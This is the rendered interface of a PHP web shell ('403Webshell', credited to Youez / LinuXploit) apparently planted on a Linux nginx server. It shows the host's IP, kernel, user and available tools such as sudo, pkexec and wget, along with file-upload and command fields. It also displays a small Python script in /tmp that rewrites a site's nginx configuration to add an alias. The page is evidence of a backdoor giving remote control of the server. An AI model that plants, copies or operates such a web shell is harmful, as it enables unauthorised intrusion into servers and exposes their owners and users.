403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/add_alias.py
with open('/etc/nginx/sites-available/hyb.picell.biz.conf', 'r') as f:
    content = f.read()

alias_block = '''
    location /ko_finder/ {
        alias /home2/haeyulhome/public_html/ko_finder/;
        expires 30d;
        access_log off;
    }
'''

if 'location /ko_finder/' not in content:
    target = 'location / {'
    if target in content:
        new_content = content.replace(target, alias_block + '\n    ' + target, 1)
        with open('/etc/nginx/sites-available/hyb.picell.biz.conf', 'w') as f:
            f.write(new_content)
        print('SUCCESS_ADDED_ALIAS')
    else:
        print('TARGET_NOT_FOUND')
else:
    print('ALREADY_EXISTS')

Youez - 2016 - github.com/yon3zu
LinuXploit